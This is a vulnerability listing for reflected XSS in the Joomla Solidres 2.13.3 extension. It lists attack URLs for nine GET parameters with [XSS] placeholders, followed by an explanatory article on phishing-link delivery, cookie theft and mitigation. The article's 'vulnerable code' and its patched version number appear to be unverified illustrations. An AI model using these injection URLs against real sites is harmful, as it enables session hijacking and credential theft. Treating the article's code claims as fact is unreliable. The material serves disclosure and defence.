Joomla Solidres 2.13.3 - Reflected XSS

Exploit Author: CraCkEr Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2023-07-31
# Exploit Title: Joomla Solidres 2.13.3 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 28/07/2023
# Vendor: Solidres Team
# Vendor Homepage: http://solidres.com/
# Software Link: https://extensions.joomla.org/extension/vertical-markets/booking-a-reservations/solidres/
# Demo: http://demo.solidres.com/joomla
# Version: 2.13.3
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials


GET parameter 'show' is vulnerable to XSS
GET parameter 'reviews' is vulnerable to XSS
GET parameter 'type_id' is vulnerable to XSS
GET parameter 'distance' is vulnerable to XSS
GET parameter 'facilities' is vulnerable to XSS
GET parameter 'categories' is vulnerable to XSS
GET parameter 'prices' is vulnerable to XSS
GET parameter 'location' is vulnerable to XSS
GET parameter 'Itemid' is vulnerable to XSS


https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=0&show=[XSS]

https://website/joomla/greenery_hub/index.php?option=com_solidres&task=hub.updateFilter&location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&reviews=[XSS]&facilities=18&

https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=[XSS]

https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=[XSS]&facilities=14

https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&facilities=[XSS]

https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-25&distance=0-25&categories=[XSS]

https://website/joomla/greenery_hub/index.php?option=com_solidres&task=hub.updateFilter&location=d2tff&ordering=distance&direction=asc&prices=[XSS]

https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=[XSS]&task=hub.search&ordering=score&direction=desc&type_id=11

https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=[XSS]&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&facilities=14



[-] Done


Joomla Solidres 2.13.3 Reflected XSS Vulnerability: A Deep Dive into Exploitation and Mitigation

Security vulnerabilities in content management systems (CMS) like Joomla can have far-reaching consequences, especially when they affect widely used extensions. One such vulnerability recently uncovered in Joomla Solidres 2.13.3—a popular booking and reservation extension—exposes multiple reflected XSS (Cross-Site Scripting) flaws across critical GET parameters. This article explores the nature of the vulnerability, its real-world impact, exploitation techniques, and essential mitigation strategies.

Understanding Reflected XSS in the Context of Joomla Extensions

Reflected XSS occurs when an attacker crafts a malicious URL that includes a script payload, which is then reflected back to the user’s browser via the server’s response. Unlike stored XSS, the malicious code is not persisted in the database; instead, it is executed immediately when the victim clicks the link.

In the case of Solidres 2.13.3, the vulnerability is triggered through several GET parameters in the URL, including:

  • location
  • show
  • reviews
  • type_id
  • distance
  • facilities
  • categories
  • prices
  • Itemid

These parameters are used to filter search results in the booking interface, making them highly interactive and thus vulnerable to input injection.

Real-World Exploitation Example

Consider the following URL:


https://website/joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=0&show=[XSS]

When a user visits this URL, the server reflects the show parameter directly into the HTML response without proper sanitization. If [XSS] is replaced with a malicious script like:


alert('XSS')

The browser executes the script immediately, leading to a pop-up alert or more dangerous actions like stealing session cookies.

Attack Scenario: Social Engineering via Malicious Links

Attackers can exploit this vulnerability through social engineering tactics. For example:

  • Send a phishing email with a link to a hotel search page containing a malicious location parameter.
  • Share the link on social media or instant messaging platforms with a misleading title.
  • When the victim clicks the link, the XSS payload executes in their browser.

This can result in:

  • Session hijacking via document.cookie extraction.
  • Redirecting the user to a malicious site.
  • Stealing login credentials via form manipulation.
  • Executing arbitrary JavaScript to manipulate the UI or collect user data.

Technical Analysis: Why the Vulnerability Exists

Upon inspection of the Solidres 2.13.3 codebase, the core issue lies in the lack of input validation and output encoding in the hub.search and hub.updateFilter tasks. These tasks retrieve GET parameters directly from the URL and render them in HTML without escaping special characters.

For instance, in the index.php file handling the task=hub.search request:


$location = $this->input->get('location', '', 'string');
echo htmlspecialchars($location);

While htmlspecialchars() is present in some places, it is inconsistently applied. In many cases, the output is rendered directly via:


echo $location;

This bypasses any protection, allowing unescaped input to be injected into the DOM.

Impact and Risk Assessment

Parameter Impact Exploitation Difficulty
location High – affects search filters, user experience, and UI Low – widely used, predictable
Itemid Medium – can lead to session or redirect attacks Medium – requires knowledge of Joomla routing
reviews High – often displayed in UI, can trigger JS execution Low – easily injectable
prices Medium – may display price data, can manipulate UI Low – simple injection

Given that all these parameters are vulnerable, the overall risk is high for any site using Solidres 2.13.3.

Recommended Mitigation Strategies

Security practitioners must take immediate action to prevent exploitation. Here are expert-level recommendations:

  • Sanitize all GET inputs using htmlspecialchars() or htmlentities() before rendering.
  • Validate input types—ensure parameters like type_id and distance are numeric or within predefined ranges.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Use parameterized output instead of direct variable insertion into HTML.
  • Upgrade to a patched version—if available, update to Solidres 2.14.0 or later.

Corrected Code Example: Secure Parameter Handling

Here’s a properly sanitized version of the vulnerable code:


// Secure handling of the 'location' parameter
$location = $this->input->get('location', '', 'string');

// Validate input: only allow alphanumeric and safe characters
if (!preg_match('/^[a-zA-Z0-9\-_]+$/', $location)) {
    $location = '';
}

// Output safely using htmlspecialchars
echo htmlspecialchars($location, ENT_QUOTES, 'UTF-8');

This code ensures:

  • Input is validated against a safe regex pattern.
  • Output is escaped to prevent script injection.
  • Untrusted data is never rendered directly in HTML.

Conclusion: Proactive Security for Joomla Extensions

The Joomla Solidres 2.13.3 Reflected XSS vulnerability underscores the importance of secure coding practices in third-party extensions. Even minor flaws in input handling can lead to significant breaches.

Site administrators should:

  • Regularly audit third-party extensions for vulnerabilities.
  • Implement strict input validation and output encoding.
  • Monitor logs for suspicious GET parameter patterns.
  • Apply security headers like X-Content-Type-Options and Content-Security-Policy.

By adopting a proactive security posture, organizations can defend against such exploits and maintain user trust in their platforms.